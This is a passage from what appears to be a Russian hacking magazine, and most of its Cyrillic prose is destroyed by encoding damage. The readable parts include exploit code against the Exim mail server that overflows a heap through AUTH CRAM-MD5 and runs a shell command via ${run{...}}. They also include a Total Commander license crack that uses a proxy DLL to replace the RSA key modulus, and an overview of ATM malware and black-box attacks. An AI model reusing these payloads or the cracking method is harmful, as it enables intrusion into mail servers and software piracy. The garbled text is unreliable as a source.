?????�?� storeblock.� ?????�??� Meh,� ???????� ????�????� ???�??????,� ?????�
?????� ????�??�??� ????� ???� ?????�????� ???�?????�???� ????� ?� ???�??� ????
???�?????�?.
?� Exim� ????� ?????� ???????,� ???� ???�??�?????� ????�?� (String� Expansion).
???� ??????� ???�?� ???�????� ??� ????� ???�?????�????.� ???�????�??� ????�?
????�???�???�?�????�??�???�??燛xim,��??�????,�??????�??�??�???�?,
???????�???.�??�?�?????�???��????�???�????:
${run{<command>�args>}{<string1>}{<string2>}}
???� ???�????� ??????� ????� ?????� ??????�???�?� ???�???� expand_string.� ???
??????�???,�??�????,�燼cl_check.
/src/acl.c
4268:爄nt
4269:燼cl_check(int爓here,爑schar�*recipient,爑schar�*s,爑schar�**
user_msgptr,
4270:牋爑schar�**log_msgptr)
4271:爗
...
4308:爎c�燼cl_check_internal(where,燼ddr,爏,爑ser_msgptr,爈og_msgptr
);
�
3856:爏tatic爄nt
3857:燼cl_check_internal(int爓here,燼ddress_item�*addr,爑schar�*s,
3858:牋爑schar�**user_msgptr,爑schar�**log_msgptr)
3859:爗
...
3882:爄f�(acl_level�=�
3883:牋爗
3884:牋爄f�(!(ss�爀xpand_string(s)))
???� ???�??� ???�????� ???�??� ????�?� ???�?????�??� ?� ???�???� ???�???� ????�
????�??� ???�???�??� ??� ACL� (Access� Control� List).� ?� ???� ????� ??????� ????
acl_smtp_<???????>,�??�??????��??�????�?,��??????�??�???�?�????�
??.�??,� acl_smtp_mail�??�???�?�?�???�?� acl_check_mail,��??�??�????�
????�???� ???�??� ???,� ???�?� ???�??� ??????�?� MAIL.� ????� ???�???� ???�???�
??????�???�?,�?�????�???�?�?�????�??�????.
??�??� ????�??,� ???� ????� ????�???� ???�?????� storeblock� ??� ???�??
??????�?�??�???燗CL.
serv.sendline("AUTH燙RAM?MD5")
payload3��'a'*0x2bf0�+爌64(0)�+爌64(0x2021)�+爌8(0x80)
addr�爌16(addr*0x10+4)
serv.sendline(b64encode(payload3)+b64encode(addr)[:?1])
????�???�??��??,�??�?�???�?????,�??�??�?????�?�??�??�???.�??�?
???�??,� ????????� ????�????�??� ?� ???�?� ??????�??�??� ?� ?????�??� ?????
???????� ??� ???�??�??� ???�????.� ?� ???????,� ???� ???�?� ????????� ???????
????�????,�?????�??�??�?�??�????�???�?�??�?�????�???� smtp_reset,
????�?????�???.�??�???�?,�??�???�???��??????�????�?燛HLO.
serv.sendline("ehlo燾rash")
?�???��???�?????�??�?????�??�????�??,�?�??�???�??�??�??��????�
???� ?� ???�???� ???�???� ?� ???�????� ?????�????.� ??????�??� ????�?� ?� ??????�
?????�??�???��??�????,�??�?�???�?????�??�??�????.
?� ????� ??????�?????� ?????�?� MAIL,� ?� ?� ????� ???�??� ?????� ???�?� ????�
???????��??????�?.
????�??�????�??�?????�??�??�???燗CL��??????�?
addr��6c9
??�???�???燗CL:
payload4��'a'*0x18�+爌64(0xb1)�+�'t'*(0xb0?0x10)�+爌64(0xb0)�+爌64(
0x1f40)
payload4�+=�'t'*(0x1f80?len(payload4))
serv.sendline("AUTH燙RAM?MD5")
serv.sendline(b64encode(payload4)+'ee')
??�???�???�???�?��??????�??�?????�??�????�?.
command��"/usr/bin/touch�/tmp/owned"
payload5��"a"*0x78�+�"${run{"�+燾ommand�+�"}}\x00"
serv.sendline("AUTH燙RAM?MD5")
serv.sendline(b64encode(payload5)+"ee")
????�?????�燼cl_check_mail�??�??�?????�???�?
??�??�???�?�??�??�?????�???�?� ${run{/usr/bin/touch�/tmp/owned}},
???????� ?????� ???�???�?� ?� ?????�???�?� ???� ???�??� ???�????�??� ?????�?
MAIL.�??�????�??.
serv.sendline("MAIL燜ROM:�test@test.com>")
??�?????�??�??�??�??燛xim��????�?�????�???
????�?�??�?,��??�??,�??�??�?�???�????�?�??.
????????????�?????????�(?????)
??????
??�????�?,�??��?????�?燛xim�牜??????�??粻??????�??�???�??�??�???,
???� ???�???�??� ????�?� ???????�?� ?� ???�?� ?????� ????� ???�????�??� ????�
?????�??.��??�?�???:�?�??�???�?�??????�????�???�???!�)�??�???�?
???�????�??� ???�????�??,� ???�??�??�??� ???????� ???�????� ???�??�?,� ?
???� ????�?.� ?????� ????�??�?,� ???� ???�????�???� ????�??�?� ????�????� ?� ????�
???�?� ???????�?� ????.� ?� ????� ????????�?:� ?� Exim� ???�??� 4.90.1� ???�??????
??????�???.
???� ???�??�?� ?� ???�????????� ????�????� ????�?� ??� ???�???� ???�?
??燝itHub.
??�?????�??�??�??�??燛xim��??????�???�????�???�?.�????�?
/usr/bin/touch�/tmp/success�????�???
??�????,�?????�????�?�???�????�???�?��??????�??�????�?��??�???
???�?????�????�?????��????�???�?????.
?????
OnLyOnE
onlyone.rnd@gmail.com
?????????
???????
????????燭OTAL燙OMMANDER
?�?????????�?????�???�?????
Total� Commander� (?????� Windows� Commander)� ?� ????????�
???� ???�????� ?????�??� ?� ???�????�??� ????????�??
???� Windows.� ?� ???????�?� ??� ?????�??� ???�??� ???�?� ???�?
???�??�??� ???????� ???� ????�?� Total??.� ??� ????�?????
?????�????� ?� ???�???�????:� ?� ???????� ?????� ???�??� ????
???�???�???� ??� ??� ???�???�?� �??????粻 ????�????� ?????
?�????.�?�??�?��?????�???.�?????�?????�??��???�?
???�?????�???�?��????�??�????�??�?????!
GREETING
???�???� ????� ???�?????�???� ???�?� ??????�??
?�??�?爀xelab.ru��???????�??�??:
?Jupiter,
?Mak,
?VodoleY,
?ELF_7719116,
?Kindly
?�??�??�??�??.�??�???!
??�?????�??�?�????�??�???燡upiter�???�????�???�?�????�???�???�???
?????�?????�??燭otal??.�????�????�??�???,�?�?????�?�?????�??�?????�
???��??�??????�??.��??�???�?�?????�???�?,�???�?�?�??�???�???
?� ????�?� ????�??�?� ?????�?????�??� ????�????�???� ?� ?????�??� ???�??� ?
LUC.��??�?,�?????�???,�??�??????�?�??�??�????�????�?????�??�???�
??�????.
LUC� ?� ???� ???????� ??� RSA� ????�????�???.� ??� ????�??� ??� RSA� ???�????�
????� ?� ??????�??????� ???�?????�???�??�??� ????� ????�?� ???�??????� ?� ????�
????.�??��??燫SA,�??�?????�??�??�?????�??�?�???�?????�????�???�
????�?� (P� ?� Q),� ???????� ???�?� ????????� ?????� ???�?????�??� ??????� (N).
??� ?� ?????� ???�??� ???�?� ??????� ?� 832� ????.� ?????�???�?,� ??� ?� ????,� ??� ?
Jupiter??�????�????�?????�??�??�?????�??.��?�???�????�????�???�?
???�????�?�?????�?.�)
???� ???????� ????� ????�???� ??� ????� ???�???�???� ???�??�??� ?� ????�
??????� ????� ????�???�????�?� LUC.� ???�??�??� ?????�???� ?????�??,� ????�
??????� ????�????� ?????� ???�????�?????� ?????�??.� ?� ???�?� ???�?????
????�??�????,�?�??�??�??�??��?????.
??�???� LUC,� ?� Total??� ???�???�??�?� ???????�?� ??????�???,� ??????
??�?????�????�??????�??�?�??�?.�??�?,�????�?,�??�???�?�????�???
????,�?�??�??�??��???牜???�???�,�??????�???�?�????�?????�??�???�
????�??�?.
WARNING
??????� ???�???�???� ?� ????�???�???�??� ?????.
?????�??� ??� ?????� ??????�???�????� ??� ?????
????,� ???�????�??� ??????�??�?� ???�??� ????�
???????.��?????�??????�?�?�??�???�???�???
???�???�???�????�?????�??,��?????�??�????�
??� ????�????�??� ???????� ?????�??�????� ????�?
??????��??????�??�???爌roxy燚LL.
???�??????
??�?� ??????� ?� ????????� ??????� (N)� ?� ???????�???� ???�?� ????�????,
??�??????�??�????�???�?.�??�?�??�??�???�????�??�???�??�?�????
???�?�??�????�??��???�????�????�??????�??�???�?.
??�??�??�?�??�???�???�??????�??�??�?????:
1.�?�?????�??�????�?�??�86?��64????�??�???�????�(Loader).
2.�?�?????� proxy� DLL,� ???????� ?????� ?????�???� ??� ??� ???�???,� ???� ?� ????�
?????�?.
???� ????�???� ???�???�?� ???�??�???�???�?� ?????????� ????�????.� ??� ?
???????�??�??�???�??,�?�????�???�??.��???�???�???�?�??�?�????
??????�???� ????� ?� ????�????� ????�??� ????�????� ?� ???????�??�?� ???�?� To?
tal??� ??� ???� ??????.� ???�????�?� ????�?� ???�???�???� DLL???� ?� ????� ???�?
?�??�?��???�??�?????�???�?????.
???????????
? x64dbg��????????
? masm爔32��??�???????
? masm爔64��??�???????
? wincmd.key��???�??�???�????,�??�???�????�??�???�燡upiter???
???�????.
???????
?�??�??��??�????�???�??�?�??�?????�???????�??,�???�?????��???
???� ???�??� ????�????� (?86� ?� ?64).� ????�????� ?� ?????�????,� ???????� ?????�
?????�?????�????�(C:\totalcmd).
??�????�?????�??�?
??�???� ?????�???� ??� ?????� TOTALCMD.EXE� ???� TOTALCMD64.EXE,� ???� ????�
????.�?????�?�??�????�???.
???� ????� ???�????.� ?)� ??????� ?????�???� Total� ???� ???????�??� ?� ???????
?�??�????燬ymbols.
?�????�?????�?�???�????�??�????�??��?????�??�??�?�?????�(DLL).
??� ????� ???????� ???� ????�???�?� ????�?� ???� ??????�??�??� ???�????�?� ?
???爒ersion.dll�爓inspool.drv.
?????�???�?�??�???,�??�� winspool.drv�??�??????�?� dll,�?�????
????�???�?????�????�???�� winspool.drv�??��???�??�?????�??�??�???�
?????�?.� ???� ???� ??????� ?� ?????� ???�?????�?� ???� ??????�??� ????�???�??
proxy燚LL�??燭otal??.
INFO
??�????�??�?????�?????,�??��??�??�???�
???�???�????:�86��64.�??�??�??�??�??�?
?????� ??????�?????� proxy� DLL� ????�???�??�???
???�?????�?.
???�??????? ???????? proxy DLL
?� ????�?� ???????�?� proxy� DLL� ?????� ???�??�????� ???�????� ???????� (DLL)
?�?????�??�??�?燱indows�??�????�??�(NTLDR�??燦T燣oader).
?燱indows????�????�?�???�?????�???燗PI� LdrLoadDll,�??????�???????�
??� ?� ??????� ntdll.dll.� ????�??�?� ???�?� API� ???�??� ?????� API,� ???� LoadLi?
brary�燣oadLibraryEx.
????�?�??�??�??�????�??????�??�?�??�?�(?�????�??�??�??�?????
?�??�?????�?燛XE)��??�????�????�??�???�??????�??????�??�?�???�
??�???�???燗PI�?燚LL,�???�??????�??�?????�???�????.��?????�??�?
???�??�?� LdrLoadDll� ??????�?� ??????� ??????� (DLL)� ??� ???�?� ???�?,� ?� ????�
????� version.dll,� ???????� ???????�?� ?� ???�???� ???????� ?� ????� ????�?
?� ???????�?� ASCII.� LdrLoadDll� ????� DLL� ?� ???????� ?????�????� ???�????�?
???�??�?,��????�??�??�??� C:\totalcmd.�????,�???�?????�?�??�???�
???,��?????�??�?�?�??�????�??�??�?�(?86�??�64)� LdrLoadDll�??�???�
????� ?????� ???�?????� DLL� ?� ???�?????� ?????�????� (C:\Windows\System32
???� C:\Windows\SysWOW64).�???���??�?????�????�????�?????�?�????
???�??,�?�??????�???�????�?�???�?.
LdrLoadDll� ???�???�?� ???�?????� ?� ????????� ????�????�??� ???�????�?
???�??�?� ??????,� ???�???� ????� ?� ??� ??� ???�????,� ??� ???�??� ?????�????.
?� ???�???,� ?� ?????� ???�??� proxy� DLL� ???�???�?� ?� ??????� NTLDR� ??� ??????�
?????,� ???� ???????�?� TOTALCMD.EXE,� ?� ???�?????�??� DLL� (??� ???�?????
?????�????)� ??� ???�???�?� ?� ??????� ??� proxy� DLL� ?� ???????� API
LoadLibrary,� ??????�??� ??� ?� ?????�??� ???????�?� ????�??�??� ????� ?� ????�
??????�??� DLL.� ???� ???� ????� ?????,� ???????� ???�???�?� ?????�?????
????????� proxy� DLL.� ?????� ??� ???�????�???� ????� proxy� DLL� ??� ???�???,
???�??�?????�?.�)
???�??�???.� ?� ???�??�??� TOTALCMD.EXE� ?� TOTALCMD64.EXE� ???� DLL� ????�
????�??�?.� ???� TOTALCMD.EXE� ??� ?????� ??????�?????� version.dll,� ?� ???
TOTALCMD64.EXE�爓inspool.drv.
?� Total??� ??????� (N),� ????�??�???� ?� ???�?????�?� ???�?� ???�?� (wincmd.
key),�??�?�??�???�????�??�???�?��??????�?燗SCII:
AAD4474DC8387E81BB095D810F4F4F21D5D7CCC756E3D6E5DEE48AC000C25AA0EFAD0
AD3A5AC46F15B50249597461BBB87CDC3F1BA37C17A9A207A3603E38E718F99
27A5EB38005D8B72EAFDC63931C3D93C1FAD457A17CA85BEB40F3FA9152770D
AC12E8E3B912D
???� ????�?????,� ???� ???�???�??� ???�?????�?� ??????� ???�?,� ????????
??�??�?????�(N):
E813039FB5F248DDA582F1C411D3B5B7A4C97CBB6982388EB354A8B78324A6A7B494A
BAB4A0A97728BAC585FCD856D2173F4C3ADE89E8176AE53F7BF7AEC39FCACEC
907829B31FE1C3BB3E2E4C30925525655F967B52A0318FCE0BA0BAE065D8A68
DBE86167F67A1
??�???�????�?�??�???�????�???�??�??????�??�??�??�??�???�????,
???�?�???�?????,�??�(?�????�??�??�??????�??�?�??�?)�??????�?�????�
???�?????�(N).
????,� ?????�???� ?86????�??� ?� ??????�??� ?� ???�????� Memory� Map.
??????�?� ??????�??� ???�??� Ctrl� +� B,� ?????�???� ????� ?????�???� ????�?
?� ??????� ???�??�?,� ??????�?� ???�?????�??� ??????� (N)� ?� ?????�???� ???
?�???燗SCII.
??�???�?燨K,���??�????�???�??�????燫eferences��?????�?????�???�?.
??�??�????,�?�?????�?�??�??�??�?????�(N),��004E219C.
??�???�??��???�??�?�?????�?�??�???�???�?��????�??�??�???�???
?????.
??????????? ??????
?
?????
? �?????�?????
????????? ???????
????????燭OTAL燙OMMANDER
?�?????????�?????�???�?????
??�??�????� 0x00401000.�??�??�???�????�??�??,��??????�??????�?
??????�(N).
?????� ???�??�???�?� ?� ???�????� Memory� Map� ?� ?????,� ???� ?????
0x00401000�???�???�??�?�???�?�??�??�??�??�??????�??�?�??�?� TO?
TALCMD.EXE�燙ODE.
???�64????�??�??�???�???�?�?�????�?????�????��??????�??.
?� ??????�???� ????�???,� ???� ASCII?????�?� ??????� (N)� ???� ?86????�??
???????�?� ?� ???�??� CODE� (0x00401000),� ?� ???� ?64????�??� ?� ?� ???�??� .data
(0x0000000000AD9000).
??�??�?,�???�??????�??????�??�??�?????�??爌roxy燚LL�?�??????�
??.�?????�?�?????.�)
??????
???�????� ???� ???� ?86????�??,� ?� ????�?� version.dll.� ???� ?64????�??� ???
???�????�?.�??�?�??�?爌roxy燚LL�(EntryPoint).�????�??�???�??�??.
API� DisableThreadLibraryCalls� ??????�?????� ??� ???�?????�?.� ?� ?????�
?????�?�?�??�????�????�??�??�????� DLL_THREAD_ATTACH�� DLL_THREAD?
_DETACH,�?�??�??�??�??.
??�??�?????�??�燤ainProc.
?????� ?� ???�????� ???�???�??� ???????�??,� ???� ???�??????� ????�??� ????�
??????�??燗PI.
??�??�????� ???????� ??????� ???� ???�??????� ???????�???� ????� ?� ????�
??????�??爒ersion.dll.
?????��??�??�????�????�??�???�??????�??�???燤ainProc.
????� ????� MainProc� ?� ???�????� ??????�???�???� ???�???� ?� ?????�????�?
??????�???� (JMP)� ??� proxy� DLL� ?� ???�?????�??� DLL.� ?� ???�?� version.def
????�???�?� ???�?� ??????�???�???� ???�???� proxy� DLL,� ???????� ???�????�?
???�??�??�???��??�?????�??燚LL.
LIBRARY爒ersion
EXPORTS
GetFileVersionInfoA=__GetFileVersionInfoA@0
GetFileVersionInfoByHandle=__GetFileVersionInfoByHandle@0
GetFileVersionInfoExW=__GetFileVersionInfoExW@0
GetFileVersionInfoSizeA=__GetFileVersionInfoSizeA@0
GetFileVersionInfoSizeExW=__GetFileVersionInfoSizeExW@0
GetFileVersionInfoSizeW=__GetFileVersionInfoSizeW@0
GetFileVersionInfoW=__GetFileVersionInfoW@0
VerFindFileA=__VerFindFileA@0
VerFindFileW=__VerFindFileW@0
VerInstallFileA=__VerInstallFileA@0
VerInstallFileW=__VerInstallFileW@0
VerLanguageNameA=__VerLanguageNameA@0
VerLanguageNameW=__VerLanguageNameW@0
VerQueryValueA=__VerQueryValueA@0
VerQueryValueW=__VerQueryValueW@0
?�???�??�??�???爌roxy燚LL��??燫eplaceModulus.
?� ???�??� ???�??� proxy� DLL� ?� ????� ???????�?� ???�?????�??� ??????� (Original)
?�?????�(New),�?�??????�???�?????�???????�??�?????�??.
?????�???�??�???�????�????�???�??�??�????�???�?.
?????
??�???�????� ????� ???�??�??� ???�????� ?????� ???????�??�????�??� ???�??
????�????.�??�??��??�??�??�??�??�?�??�??�?�????????�???�????,
??�????�???,�??�????�??�??牜???�??�.�)
??�???�?��??�?�燭otal???�??�??�?��??�??�???爓incmd.key��???
DLL???:爒ersion.dll�爓inspool.drv.�????�???�???�????.
?�??�????�?�????�????,�??��??�???�??�?????�??燚LL???.
??�???�?.�)
?????
???� ??????,� ????????� proxy� DLL� ?� ????�??� ?� ???�??� ???�??�???.� ?� ???
???????� ??� ??????� ???�??�???�???�?� ???�???�???� ??????� ???�?????�??
???�???��??�???�??�??�??�?????�???�???�??�??��??��?????�???�
???�?.
????????? ?�???
???�???� ???????�?� ????�????� ?� ????� ???� ?????�??????�??� ????�???� ??� ???�
????�?�???�???�?.�?????�???,�??�??�?????�??�??�?????�???�?????�
??????�?� ?� ????�???�???�??� ?????.� ?????�??� ??� ?????� ??????�???�????
??�????�???,�??�????�??�?????�??�?�??�??�?????.
??�???�爔akep.ru.
?????
???????
?牜??????�????�
???????????��??????�?�??????
????????�?????�?????????
???�???� ??� ???�??� ??????� ?????�??
?????�?��???�???�?�????�?�???�?????
???�????� ??????�??� ???�???� ??????.
?� ????� ????�?� ???� ????�??????� ????�
???????� ???�???�?� ???�?� ???????�??
??????,� ??� ??????� ?� ???� ????� ???� ?????
????????� ???�?,� ???�??�??� ?� ?????�???�
????.� ???�??� ?????�??� ????�??�??
??�??��??牜???�??�???粻?�???????�??
???�??????�??�??� ????�?.� ?� ???,� ???� ??
??????�?,�?��?????�??��???�?????.
?????�????
???????�?�?????????????
????????????.�??????????
??????,�????????????
�?????�?????????�
????????????�???????�,�
?????????�?????�???????
???�???????????.�??????
????????????????
?????????��??????????????
????????,�????????��????
??,�????????????
?????????.
vedacoder@mail.ru
??�??�??�??�????��??�????�??????�???�??�???�????�??�??�????�??,
???�????�??� ?� ?????� ???�???.� ???�???�???�?� ???�??????� ??????�?� ??
??� ??????�???� ??????� ???�???,� ???�???�???� ????� ?� ???�??� ???�????�??,� ???
???�??????�??� ???�??�???� ???�????�???.� ???�??� ????�???�??� LEGO
???� ?????�??.� ???????� ???�????�?� ???�???�???� ?� ???�???� ???�?????,
???????� ????�?� ???�???� ??� ????� ????�??:� ???�??�?� (�?????�?粻 ???� �???
?????�???�??�)� ?� ???�???� (???�?).� ???� ????�??�???�????�??� ???�????�?
???�??�???�????�??�?燯SB�燙OM��??�????�?�??�?,�??????��??�??
???�??�???�?�???�??�?.�?�??�??�??????�??�??????�??�?�??�?�?????�
????�????�????�????燬DC?????.
INFO
??�???�??� ???�??????�??� ????�?????� ???�????�
????�??� ???�??????� (ATMIA)� ??�????� �??�??
???�?粻 ???� ?????�??� ????�????� ????�?� ???� ????�
???????.
????????�???????????�???????
???�???� ???�???� ???�??�??�???�?� ????�?� ???�??� ???????�??� ?????�????
??????�??�??????��?????�?????�???�???��??�???�??�??�?�??�??
?� ???�?????� ?????,� ???�???�??� ????????� ?� ??????� ???� ????�????
?????????� ?� ????� ???�???�??� ???�?????.� ?????,� ???�?� ???�?????� ???�?
????�???� ???�???�????�??� ???�??,� ??????�???� ??� ???�??� ????�?????,
?????� ???� XFS� (eXtensions� for� Financial� Services),� ???�???� ??????� ???�?????
???�?????� ?????�???�???� ??????�?.� ???�?� ???� Trojan.Skimer,� Back?
door.Win32.Skimer,� Ploutus,� ATMii� ?� ???�??� ???�????�??� ?� ???????�??� ?????�
????,�??????�??�???�??�?????�?�?�???�??�?????�???�????�??�?????�
???�???�?,�???�????燭CP?????�??�??�???�??????�??.
???�?�?????�??�??�?????
???�????� XFS????�????�?,� ???�???� ?????� ???� ????�???�??� ????�???� ??????�
??�?????�???�?????�??�???�??�??�??�???:�?????�??�?????�?????�???�
???�???�??�?,�?????�?�??��???�????�???�???�??�???�?????,�??�????�
???�?�???燛MV????�?.�??�???�??�????�??�?????�?燛PP�(Encrypting燩IN
Pad� ?� ???�????�??� ???????).� ???�???� ???�???,� ???� ???�????� ??� ???
???????�?�????�???�????�????.�???�?燲FS�??�???�?�?????�?????燛PP
?�???�??????:�????�??�(???�??�?�??�?????�??�????�??????�??,�????
???� ???�?,� ???????� ????� ????�?????)� ?� ???????�??� (?� ????� EPP� ?????�????�
????,� ???�?� ????� ????�?� ???????� ???� ????� ???�??????).� ???� ???�??�????
XFS�??�???�?�??�???�????�??燤ITM????�?:�????�?????�????�?�???�????
???????�???�?????,�??????�?????�???�?��??�?�?燛PP,��????�???�???
????????,�??�?????�??�???�??�??�???��????�??�?????.��????�?�??
????�????燛PP�?????�???�??????�??�??�????�??�??�???.
????�??�??�????牜???�???�??�?�
?�??�?????�???,� ??�??�??�???�???,�??�???�?�??�??�??????�????�?
???�???�??�???�?.�??�????�?????�????�?????�?�????�??????�??�???�
???� ?� ???�?????,� ???�?� ????????� ???.� ???� ?????� ????????� ???�?????
???� ??????� ???�??�??� ???????� ????,� ??????�??� ???� ???�?� ???�??????�??
????�??�?.�?�??????�??燝roup營B,��16�???�????�??��?????�???�??
????�?�?�??�?????�???�????�???�??�????�????�?????�??.
???�?�?�??�????�????�??�??�??�??�??
??�?????�?,� ???�????�?� ???????�??� ???�??�?,� ???�????�?� USB????�??
?� ???�??????� ???�??�?� ???�?� ??� ??????�??� ???�???� ??????�?� ???�????
??�????�??�???�??�????.�?�??,�???�??�??�?�??�???�???,��??�????
???�??�???�?� ?� ??????�??� (?????� RS232� ???� USB)� ?� ?� ???�???�???� ????,
????????�??�?????�???�?????�????�???
??????�?????????�牜??????�?????�
??�??�?� ???�????�?� ???�????�??� ???�???� ???�???�?� ????�?� ???,� ??????�??
???� ???�?� ?????�??� ??� ???�?????� ???� ??????�???� �??�??� ???�?粻 ?� ????�
????�??�?� ???�?????�??????�??� ????????�??� ???�??????�??�?,� ???????�
???燫aspberry燩i.牜???�??�??�?粻????�???�?�??�?????�??�?????,�?????�
?????�??�?????�(?�??�?�??�??�??�????)�???�??.�??�???�??�??�???
????�?????�???�??�????��?????�???�?????�??�???��????�???�?�???
???�???�?.�????�??�?�??�???�?��????�???�???�??�???�??????�?????,
???�????�??�?�??�?�??�?????�(????�???�?,�??�????�????�???�?,�??�??
???�??????�??�?��??�??).
�??�??�???粻??�???燫aspberry燩i
????�??�??� ???�???�???�?� ???�??????� ?� ???�?????�????�??� ????�???�?,
????�???�???��??�???�???�????�???�??牜???�???�??�?�,� ??�???�?,�??
???� ???�???�??� ?????�??�?� ???�????�?� ???�?????� ???�???????� ???� ????�
??????�????�??,�?�????�??�???�??�??�???�???�?????.�??�?�???�????�
??� ???�??�????�?,� ???� ???�???� ????� ???�?� ??????�???�?� ??� ???�?????
?� ????�??,� ???�????� ???�???� ?� ???�?????,� ???????� ?????�???�?� ????�????�
???�??牜??�???�.
???�???,�??�?�?�??�???�?�????�?????�?,�????�??�???�??�??�???�
????�????�?�?????�????????????�?�???�??�??�???�??�??�?,牜????�.
?�??�?�??�?�???�???�????牜???�??�???粻????,�??�???�???� ???�?????
???�?.� ??� �??�???� ???�?粻 ???�???� ???�????� ???�??�????�????� ?� ???�???�
????��???�???�???,�??????�?????�???��????�??�?????�??�??�?????�
?????�?????�?�?????�??�??�???牜???�???�??�?粻??營P????�???�?.
??�???�????牜???�???�??�?粻?�???�???�?�????�??�??�??�??�??
???� ???� ???�????� ?� ???�?� ???�??� ???�?????� ??� ???????� ?� ????�??�???????�
???????� ???�???�??� ???�??�?� ???�?????:� ?????� ???�????� ?????�???� ????�
????�????�(????�????�???�??),�??�??�???��??�?????牜???�?????�???�,
???�???�?�??�???�????��??�??.�??�???�?????�??�???�?�??????,�?�??
????�??� ???�???,� ???�????� ?� ???�?????� ?� ???�???� ????????� ???�?� ?????.
?????� ???�??� ???�??�???�?� ?� ?????�???� ??� ???�?????� ????� ??????�??� ????�
??????� ??????�???.� ????�?� ????� ???�?� ???�?????� �??�??� ???�??粻 ?????�
????�???�?�???�?�????�??�???�?�???,�??�?�??�??�???��??�??�??�??
?????�??� ??� ???�???�?.� ?� ??????�???� ???�????�??� ???�?� ??�???�?� ????�?
??????�????�?.
??????�??????????�???????????
???�??�???�?????�???,�??�?????�???��?????�??�??�?????�???�???�
???�??�???�?�????燯SB,燫S232�??燬DC.�??�??�??�??�???�?�????�????�
????�?� ?� ???�?� ??????�??�???� ??????�???� ?� ??????�???� ???� ?????�?� ?
?� ?????� ???�?.� ???� ??????�?� ????�?,� ??????� ???� ????�??�???� ????????�?
??�??�???�???????�??�???�??�??�???�????.��???�?????�??�??�???�?,
??� ???????� ??????�??� ?� ????� ???�??�??�???�?,� ??� ???�???� ????�???�??
(????�?????�???�?�??????�?�???�?�??????�??�???),�??�??�??�??????�
???�??� ???�???�?,� ??� ???????� ??????�??� ?� ????� ???�??�??�???�?,� ???�?
????�?????�???��??�?�??�???�?�??�?�??�??�???�????.
??�??� ????�??,� ???�???� ?????� ??????�?????� ????�??�???� ???� ????�???�
???� ???�???�??� ???�???,� ???�??�??� ???� ???�????� ?� ???�?� ???�???�???
??????�??�???� ??????�???� (???�????,� ?� ???�???�???� ????)� ???� ???�?
??????�?????� ???�??.� ????�????� ???�???�????� ???�???,� ???�??� ????�?� ???
???�????�??�??�?????�?�?????�??�?????,��??�??�?�?????�??�???????�
???� ???�???� ???� ??????�??� (???�????,� ????�????� ???�??�?� ??????�???�
????�?????�???).��?????�???�????�??�?????�?�??�??�??�????�??�???�
???????.�??�???�???�?????�??????�??�???�???�??�???�?????�??????
????�?.
???�??� ???�????� ???� ??????�????� ??????� ???�???� ????�???,� ???� ???�???
???�?????�????�???�???�?????�??�?????????�??�????��????,�??????
?�???�??�?????�??�??�???,�??�????�??�?�??�?.�??�??,�??�?�??�??
?� ????�??�???????�??�??� ????�??�????� ???�?????,� ???� ?????� ???�?????
???�????.
??????�??????牜??????�????�
???�????�?� ???�??????� ?� ???�?????�???� ???�?????�???� ????�??�??� ????�
????�??�???�????�?�???�??�??�??�?�??�?????,��??�??�?�???�??�????�
????,�???�?????�?�??�??�????�??.�??�?�????�??�??燗TMDesk,燫apidFire
ATM燲FS.�?�????�?�???�???�???�???�??�??�???�?�????�???�????�???�
???�???.
??�???�??????�??燗TMDesk
??�???�??????�??燫apidFire燗TM燲FS
????�?????�??�????�????�???�??�???�??�???�????�??�??�??�??
???�??� ?� ?????�??� ???�????� ?� ???�?� ????�????� ???�?????�???�??�???
??????�?,��?????�?�??�???�?�??�????�??�???�?�??�????�???�??�?.
????�?,�???�?�??????��????�??�???�??�???�??�???�?�??�??,�?????
??�??牜???�??�???????粻???�??�????�??���????�??�????,�??�??�??????�
???�??�???�???�??�??�???.�??�???�???�??�???�?�????�?????�???�???�
???� ???�???� ??� ????� ????�??� ???� ????????�??� ???�??????�???,� ???????
?????�??�??�???�????�???�???�?��?????�???�?????�??�???.
�????????�???粻?�?????????�?????????????�????
???�??�??�??�??�????��?????�???�??�???�??��??�??��??�???�?
????� ??� ????????�??� ???�???� ???�????.� ???�??� ???�??� ????�???�???
??� ???,� ???� ?� ???� ????� ???????� ???�???�????� ???????� ????????�??,� ?????
???????� ???�????� ???�???�???� ?� ????�??� ?????,� ?� ??� X.25� ??� Ethernet
?�??????�??�?.�??�??�??�?????�????�???�???�?????�???�?��??????�
????�?�??�?????�??�???燬hodan�(?????�??�??????�??�??�???�??�?�??
??????�??????� ????�???�???� ?????)� ?� ?� ???�???�???� ???�??,� ??????�????�
????�?�??�????�??�?????�??�??????�????,�???�???�??�??�???��???�
?????�??�?????�???�??�?�??�????�?�??�????�???�??�??�?.
�??�?????� ????粻 ???�?� ???�?� ???�??????� ?� ???�??�????�??� ???�???
??????�?????�??�???�????�?�??�?????�??,�??????�????�??�???�??�??
???�?�??�??�???.�????�???�?�??�??�??�(???????�??�????�??燛thernet)
?�??�??�??�??�(Wi?Fi,�??????�????:燙DMA,燝SM,燯MTS,燣TE)�??�???�???�
??.�??????�?�??????�????�????�???�???��???:
? ??�????�??�??�???�??�???�????�??�??�??�??�??燰PN�(???�???�???�
????,�????�????��?,�??��?�??�??�??�??�???�???�??)?
? SSL/TLS� (???� ???�????�??� ???� ???�???�??� ??????� ???�?????,� ???� ?� ??
???�??�??�??�???�???�??)?
? ???�???????
? ?????�?????�??�???�????.
??�???� ??�???,� ???� ???� ???�??� ???????�?????� ???�??????� ????�???�???�?
?????� ????�???,� ?????�?� ???� ??� ???????�?� ????� ???�????�??� ???????
???????�??�????�???�?��???�???.��??�??�??�??�??�????�??�????�
????� ?� VPN????�????� ?� ???� ????�?� ???�??�??� ????� ???�??�???�?� ?� ???�???�
?????�???� ???�??.� ???�?� ????,� ????� ????� ?� ???�??� ?� ???????�?� ?????�?????
???????�?????�???�????�??�??????�?,��??�???�??�???�???????�??
???�?� ???�??� ???.� ???� ???,� ????� ????� ???????�????� ????�???�??�?� ????�????
PCI燚SS,�??�?????�??�??�?�???�???�??�?????.
??�?�?�???????�??�???�??燩CI燚SS��??�??�????�????�??�??�??,
???�?� ???� ??????�???� ?????� ????�??�?????� ????,� ???�??� ????� ??????�
??????.� ?� ????� ?� ???� ???�???�???�?� ????� ????,� ???????� ????�???�?� ????
????�???�???�?� ???,� ???� ?� ???� ???�??� ???�?????� ?????�?????!� ?????�?
????� ???�???� ???�???:� �� ???� ???�??� ?????�?????,� ??????� ???� ??� ???????�
????燱i?Fi�燝SM�.�???�?�??�??�?�???�????�?�???�?????�?�??�?????�
???�?????.�??????�???�???�?????�??�??�??�?�???�???.�???�??????�
